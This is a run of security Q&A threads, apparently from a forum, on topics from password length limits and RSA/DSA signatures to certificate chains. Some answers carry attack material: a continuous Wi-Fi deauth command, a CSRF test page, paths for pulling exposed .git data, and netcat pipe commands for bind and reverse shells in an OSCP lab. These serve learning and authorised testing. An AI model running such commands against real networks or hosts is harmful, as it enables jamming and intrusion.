The more frames you remove, the bigger the effect. Initially it will only be noticeable with a comparison against your original.

Another way to do this kind of timing-hack is just to remove N frames before/after each cut, or even insert extra darkness frames during fade-cuts. But that only lets you add/remove a few frames per cut, which reduces the number of bits of data you can store.

===

@Mindwin pointed out a fatal flaw in this idea.

Any unique watermarking system is vulnerable to comparison between two copies, in which case you can detect the watermarking.

But with my proposal above, given two copies, an attacker knowing the system can change it to a third id, either by removing additional frames, or by XORing or frame-duplicating to replace frames! Not good.

I thought perhaps by adding frames as well as removing them, that this could be resolved. But I can find no solution that would be proof against a determined and well-informed attacker (if I assume the algorithm is public, and that they have at least two watermarked copies).

I consider this a fatal flaw: no watermarking system should allow an attacker to frame another user as the leaker.


Is there any security risk in not setting a maximum password length? I'm a listener of the podcast "Security Now" where they often claim that there are no reasons to limit the number of characters a user can use in their passwords when they create an account on a website. I have never understood how it is even technically possible to allow an unlimited number of characters and how it could not be exploited to create a sort of buffer overflow.
I found a related question here, but mine is slightly different. The author of the other question explicitly mentions in their description that they understand why setting a maximum length of 100000000 characters would be a problem. I actually want to know why it would be a problem, is it like I have just said because of buffer overflows? But to be vulnerable to a buffer overflow, shouldn't you have a sort of boundary which you can't exceed in the first place, and thus if you didn't limit the number of characters, would you even have this risk? And if you are thinking about starving a computer's RAM or resources, could even a very large password be a problem?
So, I guess it is possible not to limit the number of characters in a password: all you'd have to do would be to not use the maxlength attribute or not have a password validation function on the server side. Would that be the secure way to do it? And if it is, is there any danger in allowing an unlimited number of characters for your passwords? On the other hand, NIST recommends developers to allow for passwords up to 64 characters at least. If they take the time to recommend a limitation, does it mean there has to be one?
Some have suggested that this question could be a duplicate of my question. It is not. The other question starts from the premise that there is always a threshold on passwords, I was just wondering if there was a reason to put a threshold on passwords to begin with.

A limit is recommended simply to avoid exhausting resources on the server.
Without a limit, an attacker could call the login endpoint with an extremely large password, say a gigabyte (let's ignore whether it's practical to send that much at once. You could instead send 10MB at a time, but more quickly).
Any work the server needs to do on the password will now be that much more expensive. This applies not just to password hashing but every level of processing to reassemble the packets and get them to the application. Memory usage on the server also increases considerably.
Just a few concurrent 10MB login requests will start having an impact on server performance, perhaps to the point of exhausting resources and triggering a denial of service.
These may not be security issues in the sense of password/data leakage but crippling a service by DOS or crashing definitely is. Note that I make no mention of buffer overflow: decent code can handle arbitrarily big passwords without overflowing.
To wrap up, I think when someone says "there's no reason to limit the number of characters of a password", they are talking about commonly seen small limits (eg: 10 or 20 characters). There is indeed no reason for those other than laziness or working with old systems. A limit of 256 characters which is larger than desired by most people (except those testing those limits) is reasonable and can prevent some of the issues related to arbitrarily-large payloads.


RESTful API URLs and Denial Of Service attacks I overheard the following statement today:

  We shouldn't use /api (e.g. in a RESTful URL like /api/v1/users/get) in our RESTful URLs anymore because it makes it easier for people to Denial Of Service attack our site. If we just give it a name like /users/get then people will be less likely to think it's an API and therefore won't be bothered DOS'ing us.

I thought this was a crazy statement and pointed out that large websites like Twitter use this same URL format, to which the person replied

  Just because they do it doesn't mean it's ok

Is there any merit whatsoever in this person's statement? I completely disagree with him. I would say that if someone was that intent on DOS attacking our site then a different URL format in our API certainly isn't going to stop them!

His suggestion is merely Security by Obscurity. As you point out a determined attacker would not be much impaired by this and it risks giving you a false sense of security.

If you are concerned about denial of service attacks you should investigate more robust solutions.

Schneier's opinion on the matter:

  I used to decry secret security systems as "security by obscurity." I now say it more strongly: "obscurity means insecurity."

https://www.schneier.com/blog/archives/2014/02/the_insecurity_2.html (February 14, 2014)


Store PCI DSS data in an encrypted form in non PCI DSS scope Am I allowed to save a strongly encrypted archive containing the CHD on an external storage which is outside our PCI-DSS infrastructure ?

For example, we'd like to save an encrypted backup archive for last resort purpose on a server which is hosted inside our office.

The data is useless without the passwords, but if everything in the datacenter burns down, it would give us a chance to rebuild everything quickly. Each password would be hold by a single person.

We've got an affirmative answer from securityMetrics by the way, but we fear it is just an answer bot.

Using that external storage effectively brings it within PCI scope, however you are correct:

If you have strong encryption sufficient to protect the data, and can evidence that, storing it on an archive should be allowed.

Don't try and word it as outside PCI scope though - account for it in the usual way when speaking with your QSA, and include the info you have presented here.


Is IP spoofing relevant to TCP? Is it relevant for TLS or SSH? I have read the TCP Connection Establishment on Wikipedia

In brief the packets to start are

SYN, with a (hopefully) random sequence number A from the client.
SYN-ACK, responding, with A+1 and (hopefully) random sequence number B from the server.
ACK, responding with B+1.

Theoretically, a client cannot open a connection to a server, without reading the packets. That is where brute force might come in.

My questions are

Is brute force usually necessary? (assuming a modern OS, and an unencrypted connection)

If so, are we talking about a brute force of a short(65k possibilities) or an int (4 billion)?
Is it relevant for SSL/TLS/HTTPS connections?
Is it relevant for SSH?

I am asking because it has been implied in the answers this question that the IP address can be spoofed with little effort by someone who knows how.

To brute-force, you'd have to correctly guess the server's initial sequence number which is 32-bit (4 billion).

However, TCP is sent in plaintext.  So if you can eavesdrop to a spoofed IP address (e.g., you can sniff packets from a router between the client and host), you don't need to guess the initial sequence number, you can just intercept it.

If you can intercept the packets you can start an ssl/tls/https/ssh connection.  Otherwise you cannot.


Specify port for cRLDistributionPoint? cRLDistributionPoints is OID 2.5.29.31. Here's what one looks like under Gutmann's dumpasn1:

SEQUENCE {
  OBJECT IDENTIFIER cRLDistributionPoints (2 5 29 31)
  OCTET STRING, encapsulates {
    SEQUENCE {
      SEQUENCE {
        [0] {
          [0] {
            [6] 'http://crl.example.com/crt1-crl.crl'
            }
          }
        }
      }
    }
  }

Are clients required to support, for example, http://crl.example.com/crt1-crl.crl:8080? Or is the an additional field available to specify the port?

A cRLDistributionPoint is an URL so you can specify the HTTP port in it. And clients have to support it, of course.


Password management: how an administrator should reset password for a user? I implement simple user management.
How an administrator should reset password for a user?
Just provide a new password for a user (as in Active Directory)?
Is it secure enough?

Added

Is it secure enough to do it as Active Directory only to type twice a new password? I wanted to create a dialog with 3 fields: user email, new password and retype new password. Is it better to prevent attacks?

This question is rather broad and hard to answer with so few details. It really depends on your organization's setup, but I'll try to give a general answer:

It's always better for a user to type in their own password rather than having an admin create a "temporary password". The main reasons for this (as far as I know) are:

1. The admin could perform actions under the user's name while the temporary password is set. If non-repudiation is a legal concern for your organization, then this matters. Often an admin has the power to impersonate a user anyways, so it doesn't matter.

2. How to get the temporary password to the user? Email is a terrible idea because it it insecure. Out-of-band methods (ie non-digital) are preferable, such as printing it and physically handing it to them, telling them the temp password over the phone, etc. If you have to send the password to them electronically, do you have the infrastructure to encrypt it for them?

For these reasons, it's always better if you can somehow flag the account for "password reset" (depending on which software you use) and let the user type in their own password the next time they log in. So if any of the client software that your users use is Active Directory aware, and has the ability to perform a Password Reset, then this would be preferable to having an admin type a new password.


How can I minimize the effects of data brokerage? I wish to move away from big-name freemail and have set up an email account with a small provider that promises privacy.
I have an account with an online merchant and changed the contact email from me@bigprovider.com to me@smallprovider.com.
I received a confirmation email (at me@bigprovider.com), that my address had been successfully changed to me@smallprovider.com
I found this unsettling, because now there is a relationship between both addresses, visible to bignameprovider.com.
If I start changing my contact email at other websites I do business with, and the data is brokered/aggregated across these websites, I am no better off privacy-wise –- a profile of my habits and preferences can still be culled.
Are there any best practices for this type of situation?
Thank you!

You made the link when you changed the e-mail addresses...

A way to avoid this is to use a third e-mail address in between the process. That is, me@bigprovider.com to me@thirdpartyprovider.com to me@smallprovider.com.
Or in other words, use some indirection (from one to as many as you want).

The thirdpartyprovider.com should be service that you trust enough (or could be your own server :).
As you describe, bigprovider.com will get a notification when you do the first change, and then thirdpartyprovider.com when you do the second (and final) change.
Assuming you eventually get rid off of thirdpartyprovider.com or you trust that service enough not to leak any data, the bigprovider.com will not learn the transitive set of relationships: me@bigprovider.com to me@thirdpartyprovider.com to me@smallprovider.com.

If you use different thirdpartyprovider.com for each business/websites you work with... you make more difficult such aggregation of data if there is some data leakage at any of them.

In any case, the online merchant will still learn everything, all the changes. But there is no way to avoid that (not in your scenario at least).


If the public key can't be used for decrypting something encrypted by the private key, then how do digital signatures work? I'm learning asymmetric encryption in the use case of ssl/tls protocol.

I can understand that the public key (like a padlock) can encrypt (lock)

something and only the private key can decrypt (open) it.

But I just can't understand the other way around.

How can the public key verify digital signatures encrypted by CA's private key?

A lot of material says that a public key can't be used for decryption

(that's fine, if imagine the public key is a padlock, then that's for sure, you're not able to unlock things). Then how can public keys be used to verify digital signatures, given that it can't be used to decrypt?

I can understand that public keys/private keys are used for client server verification.

A server encrypts some secrets and ask the client to decrypt it, and compares

the results, then I can know whether you're the holder of the private key.

But as for digital signatures, it's a different story, because I think in the

digital signature, it doesn't contain the private key of the issuer, right?

Then how can the above verification can be done without private key decrypting?

The whole concept of trying to explain signatures with the terminology of encryption is flawed. It simply does not work. So let's unravel the whole thing, and this will require some formalism.

Formally, a cryptographic signature system consists in three algorithms:

KeyGen: takes as input a "security parameter" (say, the length of the key we want to obtain), and produces a new public/private key pair (Kp, Ks).
Sign: takes as input a message m and a private key Ks; output is a signature s.
Verify: takes as input a message m, a signature s and a public key Kp; output is a boolean (true on success, false if the signature is not valid).

The system is said to be sound if the algorithms operate as advertised (Sign produces signatures that Verify accepts, using key pairs produced by KeyGen). The system is said to be cryptographically secure if it is computationally infeasible to make forgeries: given a public key Kp, and without knowing Ks_, it should not be feasible (within the limits of existing technology) to produce a (m, s) pair such that Verify(m, s, Kp) = true. The definition implies, in particular, that the private key should not be computable from the public key alone, because otherwise forgeries would be easy.

None of the above says anything about how the algorithms work. Various systems have been invented, described and standardized.

RSA is a very well-known asymmetric algorithm, but that's wrong, because RSA is not one algorithm. RSA is the name for an internal operation called a trapdoor permutation, from which an asymmetric encryption system and a signature system have been derived. The RSA operation is, roughly, the following:

Let n be a big integer such that n = pq, where p and q are two big, distinct primes. Knowledge of p and q is the "private key". Let e be some (usually small) integer, called the "public exponent"; e must be such that it is relatively prime to both p-1 and q-1. Traditional values for e are 3 and 65537.
Given an integer x modulo n (an integer in the 0 to n-1 range), the RSA forward operation is computing xe mod n (x is raised to exponent e modulo n). This is easy enough to do. It so happens that this operation is a permutation of integers modulo n (each y modulo n is equal to xe mod m for exactly one x). The "magic" part is that, for some reason, nobody found an efficient way to compute the reverse operation (getting x from xe mod n) without knowing p and q. And that's not for lack of trying; integer factorization has been studied by the finest minds for more than 2500 years. When you know p and q, the RSA reverse operation becomes easy. The knowledge of p and q is thus called the trapdoor.

Now that we have this trapdoor permutation, we can design a signature algorithm which works the following way:

KeyGen: given a target length k, produce two random primes p and q of length about k/2 bits, such that p-1 and q-1 are both relatively prime to an a priori chosen e (e.g. e = 3), and n = pq has length k bits. The public key is (n, e), the private key is (p, q, e).
Sign: take message m, hash it with some hash function (e.g. SHA-256), and "turn" the hash output (a sequence of 256 bits in the case of SHA-256) into an integer y modulo n. That transform is what the padding is about, because the standard method (as described in PKCS#1) is writing the hash output with some extra bytes, and then interpreting the result as an integer (in big-endian convention in the case of PKCS#1). Once the hashed message has been converted through the padding into an integer y, the private key owner applies the trapdoor (the reverse RSA operation) to compute the x such that xe = y mod n (such a x exists and is unique because the RSA operation is a permutation). The signature s is the encoding into bytes of that integer x.
Verify: given a signature s, decode it back into an integer x modulo n, then compute y = xe modulo n. If this value y is equal to what would be the padding of h(m) (hash of message m), then the signature is accepted (returned value is true).

RSA encryption is another, distinct system, that also builds on the RSA trapdoor permutation. Encryption is done by raising an integer x to the exponent e modulo n; decryption is done by reversing that operation thanks to the knowledge of the private key (the p and q factors). Since such a system processes only big integers, and we want to encrypt and decrypt bytes, then there must also be some sort of conversion at some point, so a padding procedure is involved. Crucially, the security requirements for the encryption padding are quite distinct from those for the signature padding. For instance, the encryption padding MUST include a substantial amount of randomness, while the signature padding MUST include a substantial amount of determinism. In practice, the two padding systems are quite different.

When people looked at RSA signatures and RSA encryption, they found it fit to describe signatures as a kind of encryption. If you look at it, the RSA forward operation (raising to the exponent e) is done for RSA encryption, and also for RSA signature verification. Similarly, the reverse operation is done for RSA decryption, and for RSA signature generation. Furthermore, as a stroke of genius if genius was about confusing other people, some noticed that the RSA reverse operation can also be mathematically expressed as "raising an integer to some power modulo n", just like the forward operation (but with a different exponent). Thus they began to call that reverse operation "encryption". At that point, RSA encryption, RSA decryption, RSA signature generation and RSA signature verification are all called "encryption". For some weird psychological reason (I blame the deleterious effects of post-Disco pop music), many people still find it pedagogically sound to try to explain four different operations by first giving them the same name.

We described RSA; let's have a look at another, completely different algorithm called DSA. DSA does not use a trapdoor permutation. In DSA, we do computations modulo a big prime (traditionally called p) and modulo another, smaller prime (called q) which is such that p-1 is a multiple of q. p and q are known to everybody.

There is an operation-that-goes-one-way in DSA. Given an integer g modulo p (strictly speaking, in a specific subset of p called the subgroup of order q) and an integer x modulo q, everybody can compute gx mod p; however, recovering x from gx mod p is computationally infeasible.

While this somehow looks like RSA, there are crucial differences:

Here, the operation is raising g to exponent x, where the actual input is x (the exponent), because g is a fixed, conventional value.
This is not a permutation, because x is an integer modulo q and gx mod p is an integer modulo p, a quite different set.
This is certainly not a trapdoor: there is no "secret knowledge" that allows recovering x, except if you already know that exact value x.

However, a signature algorithm can be built on that operation. It looks like this:

KeyGen: the p, q and g integers are already fixed, and potentially shared by everybody. To generate a new private key, produce a random integer x between 1 and q-1. The public key is y = gx mod p.
Sign:

Given a message m, hash it, then convert the hash value into an integer h modulo q.
Generate a new, fresh, discard-after-use random integer k between 1 and q-1.
Compute r = gk mod p mod q (the exponentiation is done modulo p, then the result is furthermore reduced modulo q).
Compute s = (h + xr) / k mod q. The signature is (r, s).

Verify:

Hash message m to recompute h.
Compute w = 1 / s mod q.
Compute u1 = hw mod q.
Compute u2 = rw mod q.
Compute v = gu1 yu2 mod p mod q.
If v = r, the signature is valid; otherwise, it is not.

Now good luck with trying to describe that as some sort of "encryption". If you find that it is unclear what is being encrypted here, it is because nothing is encrypted here. This is not encryption.

However, there is an hand-waving conceptual description of signatures that works with both RSA, DSA, and many other signature algorithms. You can view signatures as a specific kind of authentication.

In authentication, one person (the prover) demonstrates his identity to another (the verifier). The prover does this by performing some action that only that person can do, but in such a way that the verifier can be convinced that he witnessed the genuine thing. For instance, a very basic authentication system is called "show-the-password": the prover and the verifier both know a shared secret (the "password"); the prover demonstrates his identity to the verifier by uttering the password.

For signatures, we want something a bit more complex:

The signature is asynchronous. The signer acts once; verification is done afterwards, possibly elsewhere, and without any further active help from the signer.
The verifier should not need to know any secret. The signature should be convincing for everybody.
By signing, the signer shall not reveal any secret. His private key should not be consumed (yes, I know there are signature schemes that work with consumption; let's not go there).
The signature should be specific to a given message m.

One rather generic structure for authentication schemes is based on challenges: the verifier sends to the prover a challenge, that the prover can answer to only thanks to his knowledge of his secret.

If you look at RSA, then you can see that it is a challenge-based authentication mechanism. The challenge is the hashed-and-padded message. The signer demonstrates his mastery of the private key by applying the RSA reverse operation on that challenge, something that only he can do; but everybody can apply the RSA forward operation to see that the challenge was indeed well met.

If you look at DSA, then you can again see a challenge-based authentication mechanism. The signer first commits to a secret value k by publishing r; then the challenge is (again) the message h combined with the commitment r; the signer can answer to that challenge only by using his private key x. In DSA, the signer has a permanent private key x, produces a one-shot private value k, and demonstrates his knowledge of x/k mod q. (This does not leak information on x because k is used only once.)

Summary: signature algorithms are not encryption algorithms, and explanations of signatures based on encryption can only be, at best, utterly confusing. A much better explanation is by showing that a signature algorithm is, in fact, a specific kind of authentication mechanism, by which the signer demonstrates his knowledge of the private key in response to a synthetic challenge that involves the signed message.

This authentication is convincing for bystanders as long as the said challenge is sufficiently well specified that it is provably not cooked in the advantage of the signer. In RSA, it is the result of a deterministic hashing and padding (and the padding takes care to avoid the values where the RSA reverse operation becomes easy). In DSA, the challenge is computed from a prior commitment of the signer.

Indeed, any zero-knowledge authentication system can be turned into a signature mechanism by making it non-interactive: since a ZK system works by commitments, challenges and responses to these challenges, you can make the signer compute all his commitments, hash them all along with the message to sign, and use the hash value as the challenges. This does not mean that a ZK proof lurks within all signature algorithms; however, if you find that DSA kinda looks like that, well, there are good reasons for that.


How to jam wireless AP? The first comment under this question states:

  There are "smart jammer" techniques that are designed to mess with the protocol operations, not overwhelm the receiver with noise (e.g., for 802.11, you can disobey inter-frame spacing rules and spoof RTS/CTS messages to make the channel look busy all the time). These techniques can use less energy and be less obvious to the victim. I'm not familiar enough with the field to know what countermeasures are used beyond normal nulling or canceling.
  –  Richard Hansen Sep 27 at 5:20

So how can this be done? aircrack-ng ? Other software? Is a laptop with master mode capable card sufficient?

I'm not sure with regards to that specific method but you can use the aircrack-ng suite to launch a permanent deauth attack against an AP, effectively rendering it useless:

aireplay-ng -0 0 -a (bssid of target AP) (monitor interface)

This uses aireplay-ng to run a deauth attack -0 continuously 0, the -a specifies the target AP bssid and then you put the monitor interface on the end, usually mon0. The full command usually looks something like:

aireplay-ng -0 0 -a a4:2b:c2:23:a7:b2 mon0


how can we find the CSRF vulnerability in a website? I heard that there are no specific tools available to test and find out the CSRF vulnerability of a website. So from a security testers point of view, how to test for the CSRF vulnerability?

I would probably take the following steps:

Identify a URL on your site where a CSRF attack could have a negative effect on your site.  For this example lets say a GET request to http://mysite.com/account/del will delete the account you are logged in as
Next create a basic HTML page that is totally separate from the site you are testing.  On this HTML page include the following <img src="http://mysite.com/account/del" width="0" height="0">
Next create a dummy account on the site you want to test, and log into that account.
With the session still active open the basic HTML page you created in the same browser.
If the account gets deleted, you have a CSRF vulnerability

This is a deliberately simple example, but it should give you the idea of how you can test for CSRF.

You can find resources on preventing CSRF attacks here.  Good luck!


What is a Certification Path in SSL certificate? I've been trying to learn more about Digital certificates for the past few days and I'm struggling in order to understand how actually this concept is applied in the real world.

Anyways, as I visited the website https://google.com, I decided to view the site information and I came across this information called Certification Path. This is what it looked like:

The question that I actually wanted to ask is what exactly is this Certification Path? Does it show the certificates hierarchy?

What I understood:

GeoTrust Global CA is the Root CA here.
Google Internet Authority G2 is the Intermediate CA and it's certificate is signed by the Root CA.
Hence, Google Inc. here acts as a CA and is using a Self Signed Certificate here.

Can someone please explain what actually is going on here? Also, feel free to provide any references or good readings related to this concept.

This screen is displaying the Chain of Trust.  This is a list of who is offering signed proof that the key is valid as promised.

www.google.com's certificate (at the bottom of the chain) is signed by "Google Internet Authority G2".  This is called a working certificate, or the end-entity certificate.  It has a key usage flag that states the key in it can be used for "key encipherment" (meaning securing an SSL connection) and a flag that says it can not be trusted to sign keys.  Furthermore, this certificate can only be trusted for connections to www.google.com, as stated in the CN value of the subject.
The Google Internet Authority G2 certificate is signed by GeoTrust Global CA.  Google Internet Authority G2 is a Subordinate Certificate Authority (SCA).  It has key usage flags that state the key can be used to sign other certificates, but not to encipher keys.  SCAs are also known as issuing certificates. They exist so that a large organization can sign the many certificates they need to operate.  Google likely has hundreds of thousands of certificates in use.
GeoTrust Global CA's certificate is signed only by itself.  That makes it a root certificate, and at this point you can say they are a Certificate Authority (CA).  However, your browser doesn't fully trust every self signed certificate it sees, because anyone can create a self-signed certificate, and could place their phony self-signed root certificate on a fake site and spoof you into believing the site is legitimate.  Instead, you'll find that GeoTrust is an organization called a Public Certificate Authority. Public CA certificates are those that are placed in your certificate store by the OS vendor or by the browser vendor.  These are organizations that are implicitly trusted only to sign valid certificates. They undergo annual audits and are subject to a lot of rules to ensure they only issue certificates to the legitimate site owners. The responsibility for maintaining this list of trustworthy CAs is the job of the CA/Browser Forum.

You can look in Wikipedia for Public Key Infrastructure (PKI) to get more of an idea how certificates are related and used.


Log all API calls during the execution of an Android app I want to collect all the API calls made by an Android app that runs on a real device (with root permissions, obvs).

With API call I mean the methods invoked on objects like:
ConnectivityManager

I thought that I can instrument all methods with the Xposed framework but maybe exists a simpler way... a kind of "high-level strace".

Otherwise it's sufficient to monitor the stacktrace...

What do you suggest?

You can see Binder methods and other strace functionality with -- http://newandroidbook.com/tools/jtrace.html

However, I think you are looking to intercept API calls with the -- https://github.com/AndroidHooker/hooker -- techniques. There are other hooking techniques such as with IntroSpy -- https://www.sensepost.com/blog/2016/android-hooking-with-introspy --  but they don't look as applicable to your situation.

You could run into situations where anti-hooking techniques are present -- http://d3adend.org/blog/?p=589, so I suggest having a way to replace that code and repackage the APK -- https://github.com/oguzhantopgul/AppManipulator

The book, Hacking Android, covers using both IntroSpy and the XposedFramework for hooking. I think you'll like the output log from the XposedBridgeAPI -- http://blog.attify.com/2015/01/04/xposed-framework-android-hooking/ -- and you can find its development documentation here -- https://github.com/rovo89/XposedBridge/wiki/Development-tutorial

Moreover, the book covers what is more-common practice for Android app reversers and penetration testers, which is use of the Frida tools. In particular, I think the appmon -- http://dpnishant.github.io/appmon/ -- extension is the most-relevant (supporting both root and non-root privileged access), but you also might take a look at the extended version of cycript from NowSecure -- https://www.nowsecure.com/blog/2016/09/02/cycript-on-steroids-pumping-up-portability-and-performance-with-frida/


Blindly downloading a git repo: specifically, generating .pack files I'm pen-testing an application with a bug bounty program.

I've found a .git folder which just gives a 403 forbidden error.

However, when browsing to directories such as dodgy.com/.git/config, the file will download.

I discovered this a few hours ago and figured I would try to create a bash script which 'blindly' downloads a git repo.

Obviously I can just report the current findings, however it would be great to see how much information I can pull.

So far this script:

Downloads all standard files known to git (for example, /refs/heads/master)
Uses cat /refs/heads/master to find the head commit
Downloads the head commit by generating the relevant object directory structure

For example, if a commit is 4b5a29b99bcb8b007c2f3932c9a49662aab1505e, the object will be saved at /objects/4b/5a29b99bcb8b007c2f3932c9a49662aab1505e.
This allows

finding the object file blindly,
generating the correct local directory structure.

For each commit found, downloads the next commit by parsing errors shown by git log

Steps 3 and 4 are repeated to download trees, which can be found by running git show xyz, and parsing the error message generated...

The only thing missing (as far as I know from limited research) is downloading a .pack file.

Git stores most of its history in a file at /objects/pack/pack-{sha1}.pack.

From my research, I cannot see how to generate the sha1 without full access to a git repo.

Is it possible to generate a .pack file name from an incomplete number of commit and tree object files?

The more I read the more I feel impossible. Relevant info here.

A first step would be to simply try to git clone the URL ending in .git. Depending on the remote repository's configuration, the git client may be able to create a copy on its own!

If not, you may be able to obtain a list of packs at the relative URL:

.git/objects/info/packs

If the remote repository contains packs, they will be listed in the format:

P pack-c3499c2729730a7f807efb8676a92dcb6f8a3f8f.pack

which will indicate that a pack exists at:

.git/objects/pack/c3499c2729730a7f807efb8676a92dcb6f8a3f8f.pack

Two other paths worth investigating are:

.git/config -- this may contain sensitive configuration information, such as the URL and username that were used to clone the repository
.git/info/refs -- may contain names of branches or tags that you weren't otherwise aware of


Is it possible to restrict clipboard access to specific processes? I'm not sure if somebody has implemented this before, but I think it'd be helpful if we can make certain clipboard messages only available to specific processes if they are not meant to be public.

Is this technique already available on some platforms, or an ongoing work, or deemed unnecessary in favor of other IPC techniques (and if the latter what they are)?

Sandboxie is a sandbox program that has this capability.


Audio Streaming Server associated vulnerabilities What vulnerabilities will I be facing with during using a server as a audio streaming server? Please explain all possibilities and all need-to-know stuff.

The first thing made me think of vulnerabilities was that login users and passwords are not used in hash - at least while using IceCast - and they are all clear text! Is there a way to use hash instead or not? If not so, what vulnerabilities may it cause?

What else may be harmful, - ports and etc - anything?? And what should I be aware of during configuring my streaming server?

More Info on what I’m using:

I’m using IceCast for the server, and EZStream as a source client for the Icecast streaming server (i.e. client/listener(s)).

And I'm Running this project on Both Debian Jessie and CentOS 7 - not launched yet, still in its test-like beta version, so I can change anything.

I’m open to any suggestions, even if it’s about doing things from scratch.

See below example diagram. This way is good because:

Server to which you push stream is not the same as on the public internet, therefore you can make sure it's properly secured, like there's no public access to it so this way you close a lot of exploits associated with pushing streams and other tricks (you need to have publishing streams enabled on this one)
On the edge server you do not need to setup any passwords or any access (like pushing streams), just make point to the origin server where's the source stream
You can then use two edge servers and load balance between with them while using single origin server (DNS can be used to do it)
You got more stability of your audio push in case your edge server gets swamped, loaded etc

You can do it this way:
   - Host two servers (origin and edge) on the same box but different ports
   - Host origin server on the EZStream system and setup port forward on router to static IP address to pull it from there, this method is more stable but requires static IP address
   - On the edge server disable as much as you can and setup limit to max streams like to 100MBps or less for typical VPS
   - If you have static IP address on EZStream system, setup firewall to allow only your EZStream to connect to Origin Server. If you don't have, setup Firewall route for your whole class based on WHOIS (whois your IP address).

This kind of setup is most stable and most secure without much doing. Also keep SELinux on the Centos7 box and eventually add additional rules for IceCast if required (audit2allow). This will guarantee you very high level of security for network daemon. This is highly recommended for IceCast servers.


ELI5 why plausible deniability doesn't work in reality I'm considering setting up a hidden partition, but I'm becoming increasingly confused the more times I see it claimed that plausible deniability isn't effective. Under not-unusual circumstances, it seems suitable to me.

Perhaps I'm mistaken in my understanding, so here's the impression i have for how it works:

1) You encrypt your entire drive.

2) Within your encrypted drive, you partition off a smaller section as a "hidden" parititon. You put your secrets here. The hidden partition is a subset of random data within a drive full of random data. Even when the drive is decrypted, the hidden section just looks like free space.

Let's say, for the sake of example, that I live in the Notorious UK. The fuzz pull me in, open my laptop, and upon seeing it's encrypted, demand the password. If i deny I go to jail, so of course I give them the password - to the drive, but not the hidden partition.

At this point the claims seem to be that "everyone knows about hidden partitions", and that "if your adversary suspects there's more data, they can just keep rubber hosing you".
That might be true in the most severe countries, but in places even a little more civilised I would expect them to need some indication that there's encrypted data present  -  they might be able to throw you in prison for refusing to give up keys to evidently encrypted data, but I doubt they can lock you up for refusing to give up further keys that may or may not exist, on the grounds that there could be more data, but with no evidence to support the claim that any does.

Edit:

tl;dr

Does a hidden partition provide plausible deniability in the face of an adversary that requires at least some justification for punishment? I believe it does, but have seen claims that it doesn't.

Assuming I understand the question correctly, you are asking if have an encrypted hidden partition on your device would be a good strategy for information hiding when the attacker is restricted by the bounds of the law, which can force you to decrypt the information, but only if they find it.

To me, this sounds like security through obscurity. It is the equivalent of having the information in a hidden folder with an innocuous name. If discovered they can force you to decrypt it so the encrypted part of it is entirely irrelevant. All they need to do it discover it.

Security through obscurity is a bad idea if you are looking for a truly secure way to store your information, but it would obviously make it take more effort to find the information. However, with security you must always assume as close to the worst as practical, so you would need to assume that they find it, but without a better option it may be better than nothing.

Note: In regards to the plausible deniability portion of your question, this sounds like a legal question about whether this would be considered intent to hinder the investigation (or whatever the legal terminology would be) and is outside the scope of this site.


Is hacking legal when a friend allows you to attempt to hack their system? So I've begun learning to penetration test and I want to try it on a real system, (apart from my own), and so I have asked a friend if I can hack their computer. He is as interested as I am on the subject of computing and has agreed. I'm just wondering if it is strictly legal, and if it is likely for anyone else to be checking his system (doubtful, I know). As a point of reference, I live in Australia..

If the system is private and you don't use any other infrastructure or services to carry out your testing, then you probably don't violate any statutes.

However:

If you are attacking through an ISP - get their agreement first, as they could see what you are doing as an attack and pass the info to law enforcement
If there is data on the server which could come under data protection regulation then you want to look into implications of having that data end up on your computer as part of the attack.
and as @espengra says - get approval in writing, in case you break something and your friend decides to take you to court!


Can't get a reverse shell I'm doing my OSCP certification. On one of the lab machines, I'm having a  really hard time getting a reverse shell.

I scanned the machine and found port 80 open. I enumerated even more and found a RFI.
I uploaded a php web shell and it worked, command is running as apache user. Then I enumerated more and found netcat on the machine.

Now I want to have a shell to my attacking box. I tried using netcat as a reverse/bind shell and get nothing.

I tried different ports and nothing is working. When I scan with nmap ports like 6666, 4444, 5555 they are all filtered.

What am I doing wrong?

Most ncs in the OffSec lab (like most ncs in popular linux distros) don't support -e. It simply doesn't exist.
The solution is to redirect the stdin/stdout communication through a pipe:

cd /tmp
mknod mypipe p
/bin/bash 0< /tmp/mypipe | nc -nlvp 4444 1> /tmp/mypipe

for a bind shell or

/bin/bash 0< /tmp/mypipe | nc 192.168.1.100 4444 1> /tmp/mypipe

for a reverse shell. Here is a full article about this.

Recently I found another nc on a Ubuntu 10.04 system where the above nc listener wouldn't have worked since nc didn't allow -l and p simultanously. So before panicking because the shell doesn't work you should first try to get the nc help or try to play with the various options (I tend to specify a lot of flags, maybe one should aim for as little as possible).


What makes the Blackberry device and network more secure? One of Blackberry's strongest assets is the "network" that it uses.  Can someone explain, or link to technical information that covers what this secure network is, and what it does better than the rest?

How dare you! How dare you question the most secure mobile platform available to mankind! My attempt at humor there.. now to a serious answer before the mods attack. Blackberry has some whitepapers regarding security here: http://us.blackberry.com/ataglance/security/

I would argue the network is not RIM's strongest asset. Corporate and government adoption of the product due to the level of control they have over the devices is RIM's strongest asset. MDM is a hot topic now, but people seem forget that RIM has been doing it for 14 years.

Unfortunately for RIM the pendelum has swung away from corporate control towards the "bring your own device" philosophy, and with good reason. Android and IOS offers a better user experience.


Should I trust URL based on file extension like this: http://example.com/image.jpg I created a slideshow and mentioned that user must not trust URL based on file extension, however, I got some claims against that, because URL's like this should be safe:

example.com/images/pic001.jpg
example.com/files/cv.pdf
example.com/media/track2.mp3

As I knew using Apache Mod Rewrite attacker can redirect any URL with any extension to executable file by direct download, at that case, only Antivirus can protect user when clicked on any link, so,
What are risks of URL's generally?
How to check if the URL not a link to malware before download?

Even images may contain malware, for instance a lot of embedded devices have been jail broken via vulnerabilities in libtiff.

More than that, URL extensions will not always match the real file name. The value may be rewritten by HTTP headers in server response like this one:

  Content-Disposition: filename="myfile.exe"


Ideas on how I can fragment captured network traffic? I am trying to create a lab environment where I can analyze common IDS solutions (starting with Snort specifically) and their ability to reassemble fragmented IP trains. I have a collection of malicious pcaps, which when ran with tcpreplay, create events and fire alerts, as expected.

I am trying to find a way to fragment all IP packets in my pcaps to test the frag3 preprocessor in Snort. This way, I can determine which reassembly engine Snort is using and test things like exploits and shellcode and Snort's ability to reassemble properly.

So far I have tried using fragroute, but I only seem to be fragmenting layer 2. I have tried using the fragroute engine with tcpreplay but cannot get the engine to compile with tcpreplay.
My initial idea was to use Scapy to loop through IP packets and fragment them that way but I am stuck.

